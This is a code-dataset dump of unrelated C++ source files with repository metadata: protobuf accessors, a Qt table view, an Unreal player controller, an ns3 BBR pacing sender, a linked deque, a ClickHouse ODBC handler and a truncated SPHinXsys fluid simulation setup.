LogFFT::clear_has_fundamentalfreq() { _has_bits_[0] &= ~0x00000002u; } inline void LogFFT::clear_fundamentalfreq() { fundamentalfreq_ = 0; clear_has_fundamentalfreq(); } inline float LogFFT::fundamentalfreq() const { return fundamentalfreq_; } inline void LogFFT::set_fundamentalfreq(float value) { set_has_fundamentalfreq(); fundamentalfreq_ = value; } // optional float band1 = 3; inline bool LogFFT::has_band1() const { return (_has_bits_[0] & 0x00000004u) != 0; } inline void LogFFT::set_has_band1() { _has_bits_[0] |= 0x00000004u; } inline void LogFFT::clear_has_band1() { _has_bits_[0] &= ~0x00000004u; } inline void LogFFT::clear_band1() { band1_ = 0; clear_has_band1(); } inline float LogFFT::band1() const { return band1_; } inline void LogFFT::set_band1(float value) { set_has_band1(); band1_ = value; } // optional float band2 = 4; inline bool LogFFT::has_band2() const { return (_has_bits_[0] & 0x00000008u) != 0; } inline void LogFFT::set_has_band2() { _has_bits_[0] |= 0x00000008u; } inline void LogFFT::clear_has_band2() { _has_bits_[0] &= ~0x00000008u; } inline void LogFFT::clear_band2() { band2_ = 0; clear_has_band2(); } inline float LogFFT::band2() const { return band2_; } inline void LogFFT::set_band2(float value) { set_has_band2(); band2_ = value; } // optional float band3 = 5; inline bool LogFFT::has_band3() const { return (_has_bits_[0] & 0x00000010u) != 0; } inline void LogFFT::set_has_band3() { _has_bits_[0] |= 0x00000010u; } inline void LogFFT::clear_has_band3() { _has_bits_[0] &= ~0x00000010u; } inline void LogFFT::clear_band3() { band3_ = 0; clear_has_band3(); } inline float LogFFT::band3() const { return band3_; } inline void LogFFT::set_band3(float value) { set_has_band3(); band3_ = value; } // optional float band4 = 6; inline bool LogFFT::has_band4() const { return (_has_bits_[0] & 0x00000020u) != 0; } inline void LogFFT::set_has_band4() { _has_bits_[0] |= 0x00000020u; } inline void LogFFT::clear_has_band4() { _has_bits_[0] &= ~0x00000020u; } inline void LogFFT::clear_band4() { band4_ = 0; clear_has_band4(); } inline float LogFFT::band4() const { return band4_; } inline void LogFFT::set_band4(float value) { set_has_band4(); band4_ = value; } // optional float band5 = 7; inline bool LogFFT::has_band5() const { return (_has_bits_[0] & 0x00000040u) != 0; } inline void LogFFT::set_has_band5() { _has_bits_[0] |= 0x00000040u; } inline void LogFFT::clear_has_band5() { _has_bits_[0] &= ~0x00000040u; } inline void LogFFT::clear_band5() { band5_ = 0; clear_has_band5(); } inline float LogFFT::band5() const { return band5_; } inline void LogFFT::set_band5(float value) { set_has_band5(); band5_ = value; } // optional float band6 = 8; inline bool LogFFT::has_band6() const { return (_has_bits_[0] & 0x00000080u) != 0; } inline void LogFFT::set_has_band6() { _has_bits_[0] |= 0x00000080u; } inline void LogFFT::clear_has_band6() { _has_bits_[0] &= ~0x00000080u; } inline void LogFFT::clear_band6() { band6_ = 0; clear_has_band6(); } inline float LogFFT::band6() const { return band6_; } inline void LogFFT::set_band6(float value) { set_has_band6(); band6_ = value; } // optional float band7 = 9; inline bool LogFFT::has_band7() const { return (_has_bits_[0] & 0x00000100u) != 0; } inline void LogFFT::set_has_band7() { _has_bits_[0] |= 0x00000100u; } inline void LogFFT::clear_has_band7() { _has_bits_[0] &= ~0x00000100u; } inline void LogFFT::clear_band7() { band7_ = 0; clear_has_band7(); } inline float LogFFT::band7() const { return band7_; } inline void LogFFT::set_band7(float value) { set_has_band7(); band7_ = value; } // optional float band8 = 10; inline bool LogFFT::has_band8() const { return (_has_bits_[0] & 0x00000200u) != 0; } inline void LogFFT::set_has_band8() { _has_bits_[0] |= 0x00000200u; } inline void LogFFT::clear_has_band8() { _has_bits_[0] &= ~0x00000200u; } inline void LogFFT::clear_band8() { band8_ = 0; clear_has_band8(); } inline float LogFFT::band8() const { return band8_; } inline void LogFFT::set_band8(float value) { set_has_band8(); band8_ = value; } // optional float band9 = 11; inline bool LogFFT::has_band9() const { return (_has_bits_[0] & 0x00000400u) != 0; } inline void LogFFT::set_has_band9() { _has_bits_[0] |= 0x00000400u; } inline void LogFFT::clear_has_band9() { _has_bits_[0] &= ~0x00000400u; } inline void LogFFT::clear_band9() { band9_ = 0; clear_has_band9(); } inline float LogFFT::band9() const { return band9_; } inline void LogFFT::set_band9(float value) { set_has_band9(); band9_ = value; } // optional float band10 = 12; inline bool LogFFT::has_band10() const { return (_has_bits_[0] & 0x00000800u) != 0; } inline void LogFFT::set_has_band10() { _has_bits_[0] |= 0x00000800u; } inline void LogFFT::clear_has_band10() { _has_bits_[0] &= ~0x00000800u; } inline void LogFFT::clear_band10() { band10_ = 0; clear_has_band10(); } inline float LogFFT::band10() const { return band10_; } inline void LogFFT::set_band10(float value) { set_has_band10(); band10_ = value; } // optional float band11 = 13; inline bool LogFFT::has_band11() const { return (_has_bits_[0] & 0x00001000u) != 0; } inline void LogFFT::set_has_band11() { _has_bits_[0] |= 0x00001000u; } inline void LogFFT::clear_has_band11() { _has_bits_[0] &= ~0x00001000u; } inline void LogFFT::clear_band11() { band11_ = 0; clear_has_band11(); } inline float LogFFT::band11() const { return band11_; } inline void LogFFT::set_band11(float value) { set_has_band11(); band11_ = value; } // optional float band12 = 14; inline bool LogFFT::has_band12() const { return (_has_bits_[0] & 0x00002000u) != 0; } inline void LogFFT::set_has_band12() { _has_bits_[0] |= 0x00002000u; } inline void LogFFT::clear_has_band12() { _has_bits_[0] &= ~0x00002000u; } inline void LogFFT::clear_band12() { band12_ = 0; clear_has_band12(); } inline float LogFFT::band12() const { return band12_; } inline void LogFFT::set_band12(float value) { set_has_band12(); band12_ = value; } // ------------------------------------------------------------------- // TimeInfo // required bool isPlaying = 1 [default = false]; inline bool TimeInfo::has_isplaying() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void TimeInfo::set_has_isplaying() { _has_bits_[0] |= 0x00000001u; } inline void TimeInfo::clear_has_isplaying() { _has_bits_[0] &= ~0x00000001u; } inline void TimeInfo::clear_isplaying() { isplaying_ = false; clear_has_isplaying(); } inline bool TimeInfo::isplaying() const { return isplaying_; } inline void TimeInfo::set_isplaying(bool value) { set_has_isplaying(); isplaying_ = value; } // required float tempo = 2 [default = 0]; inline bool TimeInfo::has_tempo() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void TimeInfo::set_has_tempo() { _has_bits_[0] |= 0x00000002u; } inline void TimeInfo::clear_has_tempo() { _has_bits_[0] &= ~0x00000002u; } inline void TimeInfo::clear_tempo() { tempo_ = 0; clear_has_tempo(); } inline float TimeInfo::tempo() const { return tempo_; } inline void TimeInfo::set_tempo(float value) { set_has_tempo(); tempo_ = value; } // required float position = 3 [default = 0]; inline bool TimeInfo::has_position() const { return (_has_bits_[0] & 0x00000004u) != 0; } inline void TimeInfo::set_has_position() { _has_bits_[0] |= 0x00000004u; } inline void TimeInfo::clear_has_position() { _has_bits_[0] &= ~0x00000004u; } inline void TimeInfo::clear_position() { position_ = 0; clear_has_position(); } inline float TimeInfo::position() const { return position_; } inline void TimeInfo::set_position(float value) { set_has_position(); position_ = value; } // @@protoc_insertion_point(namespace_scope) #ifndef SWIG namespace google_public { namespace protobuf { } // namespace google } // namespace protobuf #endif // SWIG // @@protoc_insertion_point(global_scope) #endif // PROTOBUF_SignalMessages_2eproto__INCLUDED
[ "martin.dirollo@gmail.com" ]
martin.dirollo@gmail.com
15d96dc05fadc606c59ef6c665ed2f5a84c8dafb
fa041d3904086a58e52a5c2ffd876ffa7679e5e0
/FSViewer/uitableview.cpp
1b0a81a254c00db766ca18de4a586b55a587c033
[]
no_license
Lyarvo4ka/RecoveryProjects
b56fffe64f63b17943a37f6db68b5b5d57651b47
7bb9e68924d7397041dd2a3f15e63273e43e2b58
refs/heads/master
2021-06-25T15:49:14.350896
2021-02-17T13:28:48
2021-02-17T13:28:48
199,153,605
0
0
null
null
null
null
UTF-8
C++
false
false
317
cpp
#include "uitableview.h" UITableView::UITableView(QWidget *parent) : QTableView(parent) { } UITableView::~UITableView() { } //void UITableView::UpdateCheck(const Qt::CheckState checkState) //{ // //QModelIndex currentIndex = this->currentIndex(); // //tree_model_->updateCheckState(currentIndex,checkState); //}
[ "Lyarvo4ka@gmail.com" ]
Lyarvo4ka@gmail.com
b47efc9de191d5b8e3734b43342e68805e3f4cad
fc146feda3b875eb3e6f07ae33d46c195577205c
/Source/ActionRPGGame/ARPlayerController.h
a9d4bd9ef1d3f91494b58af7066233859b68f72d
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
sikkey/ActionRPGGame
5cda2726cdce309c70f6cd3a7676f2467797a829
d53dd7b16bc066dcaaf7a9e9330e3fea4a47a61a
refs/heads/master
2021-01-21T14:57:02.789070
2017-06-25T00:04:03
2017-06-25T00:04:03
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,405
h
// Copyright 1998-2014 Epic Games, Inc. All Rights Reserved. #pragma once #include "FCTFloatingTextComponent.h" #include "GSPlayerController.h" #include "FCTGlobalTypes.h" #include "GAGlobalTypes.h" #include "IGISInventory.h" #include "ARPlayerController.generated.h" UCLASS() class ACTIONRPGGAME_API AARPlayerController : public AGSPlayerController, public IIGISInventory { GENERATED_BODY() protected: UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Inventory", meta = (AllowPrivateAccess = "true")) class UGISInventoryBaseComponent* Inventory; UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Abilities") class UGSAbilitiesComponent* Abilities; UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Abilities") class UARUIComponent* UIComponent; public: AARPlayerController(const FObjectInitializer& ObjectInitializer); /** AActor Overrides - BEGIN */ virtual void BeginPlay() override; /* AActor Overrides - END **/ virtual void OnRep_Pawn() override; virtual void SetupInputComponent() override; //UFUNCTION() // void OnRecivedModifiedAttribute(const FGAModifiedAttribute& AttributeModIn); UFUNCTION(BlueprintImplementableEvent) void OnPawnReplicated(APawn* NewPawn); /** IIGISInventory - BEGIN */ class UGISInventoryBaseComponent* GetInventory() override; /* IIGISInventory - END **/ //virtual void PreInitializeComponents() override; };
[ "xeavien@gmail.com" ]
xeavien@gmail.com
23bf739bbedf5b8000fe6dc621f3b7ee2d5c3739
419ee1b3c10effb26daf4e16090a99e57732ab4e
/model/pacing-sender.h
fb0da748a954c4cc1f80b072de876d7f0a4c0caf
[]
no_license
shihunyewu/bbr
4e82626b6f8429497acdd7a5a7109a3637980adf
aa77e201d56727951a0905d37ea8677cf162dcdb
refs/heads/master
2020-06-19T23:03:23.299110
2018-07-16T07:19:25
2018-07-16T07:19:25
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,995
h
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ /* * Copyright (c) 2008 INRIA * * Author: daibo <daibo@yy.com> */ #ifndef PACING_SENDER_H #define PACING_SENDER_H #include "bbr-common.h" #include "send-algorithm-interface.h" #include "bandwidth.h" namespace ns3 { namespace bbr { class PacingSender { public: PacingSender(); ~PacingSender(); // Sets the underlying sender. Does not take ownership of |sender|. |sender| // must not be null. This must be called before any of the // SendAlgorithmInterface wrapper methods are called. void set_sender(SendAlgorithmInterface *sender); void set_max_pacing_rate(Bandwidth max_pacing_rate) { max_pacing_rate_ = max_pacing_rate; } void OnCongestionEvent( bool rtt_updated, ByteCount bytes_in_flight, uint64_t event_time, const SendAlgorithmInterface::CongestionVector &acked_packets, const SendAlgorithmInterface::CongestionVector &lost_packets); bool OnPacketSent(uint64_t sent_time, ByteCount bytes_in_flight, PacketNumber packet_number, ByteCount bytes, HasRetransmittableData is_retransmittable); uint64_t TimeUntilSend(uint64_t now, ByteCount bytes_in_flight); Bandwidth PacingRate(ByteCount bytes_in_flight) const; private: // Underlying sender. Not owned. SendAlgorithmInterface *sender_; // If not BandWidth::Zero, the maximum rate the PacingSender will use. Bandwidth max_pacing_rate_; // Number of unpaced packets to be sent before packets are delayed. uint32_t burst_tokens_; // Send time of the last packet considered delayed. uint64_t last_delayed_packet_sent_time_; uint64_t ideal_next_packet_send_time_; // When can the next packet be sent. bool was_last_send_delayed_; // True when the last send was delayed. DISALLOW_COPY_AND_ASSIGN(PacingSender); }; } } #endif
[ "shilei@bigo.sg" ]
shilei@bigo.sg
786136498d5ca490c3004275662f4e6bb1ea0077
c2120e65e0b67c5538ff99923e0cf8c6740d5332
/Edoflip/FirstOccUsingRec.cpp
23622fa5ce68d472205730fcc3c642b30314b92a
[]
no_license
kanavbengani/Cplusplus-Exercises
fac5d2a03bc18c8f2e9ae3427ee0677df9cb87c7
a62105310657be940d8f21d1bbf618ce251f54ab
refs/heads/main
2023-02-03T15:17:54.005786
2020-12-20T16:40:42
2020-12-20T16:40:42
315,371,989
0
0
null
null
null
null
UTF-8
C++
false
false
314
cpp
#include <iostream> using namespace std; int firstOccurance(int num, int a[], int size) { if (size == 0) { return -1; } if (a[0] == num) { return num; } } int main() { int num, a[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; cin >> num; firstOccurance(num, a, 10); }
[ "kbengani21@gmail.com" ]
kbengani21@gmail.com
1c522349c860a740129cbdc9630cd8f2390a38f5
e572fe7da635214a975ab8aebd4a8e8565183d60
/route-between-two-nodes-in-graph.cpp
39ecd610e055cfb9ccbca7b109eaa2703ee10c56
[]
no_license
LloydSSS/LintCode-LeetCode
3713dc63019fbf4af8dbb9b21c72c1d03874893f
fb55572a219f51e015672768090cbda1edcef707
refs/heads/master
2020-12-25T22:58:26.399559
2015-09-14T16:09:18
2015-09-14T16:09:18
35,087,006
4
2
null
null
null
null
UTF-8
C++
false
false
1,152
cpp
// http://www.lintcode.com/en/problem/route-between-two-nodes-in-graph // bfs #include "lc.h" class Solution { public: /** * @param graph: A list of Directed graph node * @param s: the starting Directed graph node * @param t: the terminal Directed graph node * @return: a boolean value */ bool hasRoute(vector<DirectedGraphNode*> graph, DirectedGraphNode* s, DirectedGraphNode* t) { if (s == t) return true; queue<DirectedGraphNode *> qu; unordered_set<DirectedGraphNode *> used; qu.push(s); used.insert(s); while (!qu.empty()) { DirectedGraphNode *gn = qu.front(); qu.pop(); for (int i = 0; i < gn->neighbors.size(); ++i) { if (gn->neighbors[i] == t) return true; if (used.find(gn->neighbors[i]) != used.end()) continue; used.insert(gn->neighbors[i]); qu.push(gn->neighbors[i]); } } return false; } }; int main(int argc, char const *argv[]) { Solution sol; return 0; }
[ "LloydSSS@users.noreply.github.com" ]
LloydSSS@users.noreply.github.com
935f36d5b958bf331454f9aadb82f1c46db26dea
254bf7d275384ed462a49b81e4930e9bd5ab29d7
/P2/.exercici2 - R/LinkedDeque.h
c7a4093c01acd6a0ac4437719019d19cb0de53ce
[ "WTFPL" ]
permissive
leRoderic/ED2018
74dfc20183c17ef152df12f770eb9976a78a8c3a
a1663fc7b1ce8ae29ba5d9c004a0ddcf32d6c2aa
refs/heads/master
2021-06-02T09:07:30.053040
2019-11-07T18:06:20
2019-11-07T18:06:20
123,178,244
1
1
null
null
null
null
UTF-8
C++
false
false
3,763
h
/* * File: LinkedDeque.h * Author: Rodrigo Cabezas Quirós * * Created on 20 de marzo de 2018, 8:04 */ #ifndef LINKEDDEQUE_H #define LINKEDDEQUE_H #include "Node.h" #include <stdexcept> #include <iostream> using namespace std; template <class Element> class LinkedDeque { public: LinkedDeque<Element>(); LinkedDeque(const LinkedDeque<Element>& deque); virtual ~LinkedDeque(); bool isEmpty() const; void insertFront(const Element & element); void insertRear(const Element & element); void deleteFront(); void deleteRear(); void print(); void setFront(Node<Element> node); int size(); Node<Element> getFront() const; Node<Element> getRear()const; private: Node<Element> *_front; Node<Element> *_rear; int num_elements; }; template <class Element> LinkedDeque<Element>::LinkedDeque(){ this->_front = nullptr; this->_rear = nullptr; this->num_elements = 0; } template <class Element> LinkedDeque<Element>::LinkedDeque(const LinkedDeque<Element>& deque){ this->_front = nullptr; this->_rear = nullptr; this->num_elements = 0; } template <class Element> LinkedDeque<Element>::~LinkedDeque(){ Node<Element> *tmp; while(this->getFront() != nullptr){ tmp = this->getFront(); this->setFront(this->getFront()->getNext()); delete tmp; } } template <class Element> void LinkedDeque<Element>::deleteFront(){ if(this->_front = nullptr){ throw underflow_error("No hay ningún frente asignado."); } Node<Element> *tmp = this->getFront(); // antiguo frente delete _front; // fuera antiguo frente this->_front = tmp->getNext(); // asigno el nuevo frente this->num_elements--; } template <class Element> void LinkedDeque<Element>::deleteRear(){ if(this->_rear = nullptr){ throw underflow_error("No hay ningún rear asignado."); } Node<Element> *tmp = this->getRear(); // antiguo rear delete _rear; // fuera antiguo rear this->_rear = tmp->getPrevious(); // asigno nuevo rear this->num_elements--; } template <class Element> Node<Element> LinkedDeque<Element>::getFront() const{ return this->_front; } template <class Element> Node<Element> LinkedDeque<Element>::getRear() const{ return this->_rear; } template <class Element> void LinkedDeque<Element>::insertFront(const Element& element){ Node<Element> *a = new Node<Element>(element); // nuevo nodo a.setNext(this->getFront()); // frente a derecha this->_front.setPrevious(a); // anterior a frente ahora es el nuevo nodo this->_front = a; // el frente es el nuevo nodo this->num_elements++; } template <class Element> void LinkedDeque<Element>::insertRear(const Element& element){ Node<Element> *a = new Node<Element>(element); // nuevo nodo a.setPrevious(this->getRear()); // rear a izquierda this->_rear->setNext(a); // siguiente de cola es nuevo nodo this->_rear = a; // rear es el nuevo nodo this->num_elements++; } template <class Element> bool LinkedDeque<Element>::isEmpty() const{ return (this->num_elements == 0); } template <class Element> void LinkedDeque<Element>::print(){ if(isEmpty()){ throw underflow_error("No hay nada que mostrar."); } Node<Element> tmp = this->_front; while(tmp != nullptr){ cout << tmp.getElement() << " "; tmp = tmp.getNext(); } } template <class element> void LinkedDeque<Element>::setFront(Node<Element> node){ this->_front = node; } template <class Element> int LinkedDeque<Element>::size(){ return this->num_elements; } #endif /* LINKEDDEQUE_H */
[ "rcmikado@gmail.com" ]
rcmikado@gmail.com
c82916988283419d350450e800fc53cf935df836
143817babc4b8a453c5893f12c4a5707f132172b
/dbms/programs/odbc-bridge/ColumnInfoHandler.cpp
3b4c7f42ceadcb057337f5363e3412d92a41037f
[ "Apache-2.0" ]
permissive
astudnev/ClickHouse-1
b98ebdda6b9e58500e948b8bea7ce84d943b46b6
08f6305dba7c5e80686f819b7eafedb3bbbb3f2d
refs/heads/master
2020-03-27T03:46:02.338065
2018-08-23T16:33:25
2018-08-23T16:33:25
145,888,336
0
0
null
2018-08-23T17:47:44
2018-08-23T17:47:43
null
UTF-8
C++
false
false
4,367
cpp
#include "ColumnInfoHandler.h" #if USE_POCO_SQLODBC || USE_POCO_DATAODBC #include <Poco/Data/ODBC/ODBCException.h> #include <Poco/Data/ODBC/SessionImpl.h> #include <Poco/Data/ODBC/Utility.h> #include <Poco/Net/HTTPServerRequest.h> #include <Poco/Net/HTTPServerResponse.h> #include <DataTypes/DataTypeFactory.h> #include <IO/WriteBufferFromHTTPServerResponse.h> #include <IO/WriteHelpers.h> #include <Common/HTMLForm.h> #include <common/logger_useful.h> #include <ext/scope_guard.h> #include "validateODBCConnectionString.h" namespace DB { namespace { DataTypePtr getDataType(SQLSMALLINT type) { const auto & factory = DataTypeFactory::instance(); switch (type) { case SQL_INTEGER: return factory.get("Int32"); case SQL_SMALLINT: return factory.get("Int16"); case SQL_FLOAT: return factory.get("Float32"); case SQL_REAL: return factory.get("Float32"); case SQL_DOUBLE: return factory.get("Float64"); case SQL_DATETIME: return factory.get("DateTime"); case SQL_TYPE_TIMESTAMP: return factory.get("DateTime"); case SQL_TYPE_DATE: return factory.get("Date"); default: return factory.get("String"); } } } void ODBCColumnsInfoHandler::handleRequest(Poco::Net::HTTPServerRequest & request, Poco::Net::HTTPServerResponse & response) { Poco::Net::HTMLForm params(request, request.stream()); LOG_TRACE(log, "Request URI: " + request.getURI()); auto process_error = [&response, this](const std::string & message) { response.setStatusAndReason(Poco::Net::HTTPResponse::HTTP_INTERNAL_SERVER_ERROR); if (!response.sent()) response.send() << message << std::endl; LOG_WARNING(log, message); }; if (!params.has("table")) { process_error("No 'table' param in request URL"); return; } if (!params.has("connection_string")) { process_error("No 'connection_string' in request URL"); return; } std::string table_name = params.get("table"); std::string connection_string = params.get("connection_string"); LOG_TRACE(log, "Will fetch info for table '" << table_name << "'"); LOG_TRACE(log, "Got connection str '" << connection_string << "'"); try { Poco::Data::ODBC::SessionImpl session(validateODBCConnectionString(connection_string), DBMS_DEFAULT_CONNECT_TIMEOUT_SEC); SQLHDBC hdbc = session.dbc().handle(); SQLHSTMT hstmt = nullptr; if (Poco::Data::ODBC::Utility::isError(SQLAllocStmt(hdbc, &hstmt))) throw Poco::Data::ODBC::ODBCException("Could not allocate connection handle."); SCOPE_EXIT(SQLFreeStmt(hstmt, SQL_DROP)); /// TODO Why not do SQLColumns instead? std::string query = "SELECT * FROM " + table_name + " WHERE 1 = 0"; if (Poco::Data::ODBC::Utility::isError(Poco::Data::ODBC::SQLPrepare(hstmt, reinterpret_cast<SQLCHAR *>(&query[0]), query.size()))) throw Poco::Data::ODBC::DescriptorException(session.dbc()); if (Poco::Data::ODBC::Utility::isError(SQLExecute(hstmt))) throw Poco::Data::ODBC::StatementException(hstmt); SQLSMALLINT cols = 0; if (Poco::Data::ODBC::Utility::isError(SQLNumResultCols(hstmt, &cols))) throw Poco::Data::ODBC::StatementException(hstmt); /// TODO cols not checked NamesAndTypesList columns; for (SQLSMALLINT ncol = 1; ncol <= cols; ++ncol) { SQLSMALLINT type = 0; /// TODO Why 301? SQLCHAR column_name[301]; /// TODO Result is not checked. Poco::Data::ODBC::SQLDescribeCol(hstmt, ncol, column_name, sizeof(column_name), NULL, &type, NULL, NULL, NULL); columns.emplace_back(reinterpret_cast<char *>(column_name), getDataType(type)); } WriteBufferFromHTTPServerResponse out(request, response, keep_alive_timeout); writeStringBinary(columns.toString(), out); } catch (...) { process_error("Error getting columns from ODBC '" + getCurrentExceptionMessage(false) + "'"); tryLogCurrentException(log); } } } #endif
[ "alesapin@gmail.com" ]
alesapin@gmail.com
b31d0ce6991bc803b677ca3824713fe20d5a058f
a6dcd99a24872d6e81539faa0eef01dcbed84ba2
/observer/include/Observer.h
0fba89651e01cdd1046c8b12503693e40961ec2c
[]
no_license
mehmetrizaoz/design_patterns
2d508ac3563598984d4d09a398cde30682ae4da4
17ffeb88d4739fc3bd7de5276c98472767bfde0c
refs/heads/main
2023-05-22T22:56:33.430392
2021-06-16T06:36:22
2021-06-16T06:36:22
345,968,028
1
0
null
null
null
null
UTF-8
C++
false
false
113
h
#pragma once class Observer { public: virtual void update(float temp, float humidity, float pressure)=0; };
[ "mehmetrizaoz@gmail.com" ]
mehmetrizaoz@gmail.com
c20ed254c07078d4a61a5f3897ab873482167561
3bd41b58fe0883f45cbb9110816c28616bb79296
/compoundOperators/main.cpp
58ee4703e31b7b17783a6fc2dc870c43ac8ceb5b
[]
no_license
brax3894/Cpp_practical_textbook
001503ede5480031c85cc12d5b529f72449ea6e7
910a7f8582b7f9ebe0830eaf677d5642e53d174d
refs/heads/master
2020-05-20T09:00:10.536667
2020-04-21T23:47:02
2020-04-21T23:47:02
185,487,661
0
0
null
null
null
null
UTF-8
C++
false
false
628
cpp
#include <iostream> // operator example meaning // | += | lhs +=rhs; | lhs= lhs + (rhs) // | -= | lhs-=rhs; | lhs= lhs - (rhs) // | /= | lhs*=rhs; | lhs= lhs /(rhs) // | %= | lhs %= rhs; | lhs= lhs % (rhs) // | >>= | lhs >>= rhs; | lhs= lhs << rhs // | <<= | lhs>>=rhs; | lhs= lhs >> (rhs) // | &= | lhs &= rhs; | lhs= lhs & (rhs) // | ^= | lhs ^= rhs ; | lhs= lhs ^ (rhs) // | |= | lhs |=rhs ; | lhs = lhs | (rhs) int main() { std::cout << "Hello, World!" << std::endl; return 0; }
[ "noreply@github.com" ]
brax3894.noreply@github.com
5ed0d350fe5eb9c626c8f948c5df5fb4fa8dc3eb
21053307a43db79b795048df3112cd18f90edcab
/Source/Include/Script/Interface/ObjectComponentInterface.h
ae52687424d94998169be8268f61aa3054dc0e17
[ "FTL", "Libpng", "BSD-3-Clause", "Zlib", "LicenseRef-scancode-unknown-license-reference", "MIT", "LicenseRef-scancode-happy-bunny", "LicenseRef-scancode-public-domain", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
cappah/NekoEngine
77b60ab458d6f2ff4b67e687007002744630b6f4
22d66bcfa6bb4d82a4c6024abc54a9e2df693f9c
refs/heads/master
2021-07-21T19:50:54.799199
2017-10-29T01:06:40
2017-10-29T01:06:40
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,070
h
/* NekoEngine * * ObjectComponentInterface.h * Author: Alexandru Naiman * * ObjectComponent script interface * * ----------------------------------------------------------------------------- * * Copyright (c) 2015-2017, Alexandru Naiman * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY ALEXANDRU NAIMAN "AS IS" AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL ALEXANDRU NAIMAN BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #pragma once #include <Script/Script.h> class ObjectComponentInterface { public: static void Register(lua_State *state); static int GetParent(lua_State *state); static int Load(lua_State *state); static int InitializeComponent(lua_State *state); static int Enable(lua_State *state); static int IsEnabled(lua_State *state); };
[ "alexandru.naiman@icloud.com" ]
alexandru.naiman@icloud.com
3765e4ce2f1b3f9bc837931936fb48c0d2c85829
8e56fcfff92a958404834c9ffc599e070ce68c9d
/tests/2d_examples/test_2d_free_stream_around_cylinder_mr/mr_free_stream_around_cylinder.h
44e8c4dc73177f3f7fe675d90a1bb3d812ae5ac4
[ "Apache-2.0" ]
permissive
Xiangyu-Hu/SPHinXsys
723bca41c56792a2d30318e282eb5a3ca6cb63b5
1a06b77685d4687c8f4fa3efe51ef92936f24403
refs/heads/master
2023-08-30T19:42:52.584193
2023-08-30T19:13:56
2023-08-30T19:13:56
189,070,140
229
155
Apache-2.0
2023-09-14T19:34:44
2019-05-28T17:05:34
C++
UTF-8
C++
false
false
5,085
h
/** * @file mr_freestream_flow_around_cylinder.h * @brief We consider a flow pass the cylinder with freestream boundary condition in 2D. * @details Particles with different sizes are used in this test. * @author Xiangyu Hu, Shuoguo Zhang */ #include "sphinxsys.h" using namespace SPH; //---------------------------------------------------------------------- // Basic geometry parameters and numerical setup. //---------------------------------------------------------------------- Real DL = 30.0; /**< Channel length. */ Real DH = 16.0; /**< Channel height. */ Real particle_spacing_ref = 0.4; /**< Initial reference particle spacing. */ Real DL_sponge = particle_spacing_ref * 20.0; /**< Sponge region to impose emitter. */ Real BW = 4.0 * particle_spacing_ref; /**< Sponge region to impose injection. */ Vec2d insert_circle_center(10.0, 0.5 * DH); /**< Location of the cylinder center. */ Real insert_circle_radius = 1.0; /**< Radius of the cylinder. */ // Observation locations Vec2d point_coordinate_1(3.0, 5.0); Vec2d point_coordinate_2(4.0, 5.0); Vec2d point_coordinate_3(5.0, 5.0); StdVec<Vecd> observation_locations = {point_coordinate_1, point_coordinate_2, point_coordinate_3}; //---------------------------------------------------------------------- // Global parameters on the fluid properties //---------------------------------------------------------------------- Real rho0_f = 1.0; /**< Density. */ Real U_f = 1.0; /**< Characteristic velocity. */ Real c_f = 10.0 * U_f; /**< Speed of sound. */ Real Re = 100.0; /**< Reynolds number. */ Real mu_f = rho0_f * U_f * (2.0 * insert_circle_radius) / Re; /**< Dynamics viscosity. */ //---------------------------------------------------------------------- // define geometry of SPH bodies //---------------------------------------------------------------------- std::vector<Vecd> water_block_shape{ Vecd(-DL_sponge, 0.0), Vecd(-DL_sponge, DH), Vecd(DL, DH), Vecd(DL, 0.0), Vecd(-DL_sponge, 0.0)}; std::vector<Vecd> initial_refinement_region{ Vecd(-DL_sponge - BW, 5.0), Vecd(-DL_sponge - BW, 11.0), Vecd(DL + BW, 11.0), Vecd(DL + BW, 5.0), Vecd(-DL_sponge - BW, 5.0)}; Vec2d emitter_halfsize = Vec2d(0.5 * BW, 0.5 * DH); Vec2d emitter_translation = Vec2d(-DL_sponge, 0.0) + emitter_halfsize; Vec2d emitter_buffer_halfsize = Vec2d(0.5 * DL_sponge, 0.5 * DH); Vec2d emitter_buffer_translation = Vec2d(-DL_sponge, 0.0) + emitter_buffer_halfsize; Vec2d disposer_halfsize = Vec2d(0.5 * BW, 0.75 * DH); Vec2d disposer_translation = Vec2d(DL, DH + 0.25 * DH) - disposer_halfsize; //---------------------------------------------------------------------- // Define case dependent geometries //---------------------------------------------------------------------- class WaterBlock : public ComplexShape { public: explicit WaterBlock(const std::string &shape_name) : ComplexShape(shape_name) { MultiPolygon outer_boundary(water_block_shape); add<MultiPolygonShape>(outer_boundary, "OuterBoundary"); MultiPolygon circle(insert_circle_center, insert_circle_radius, 100); 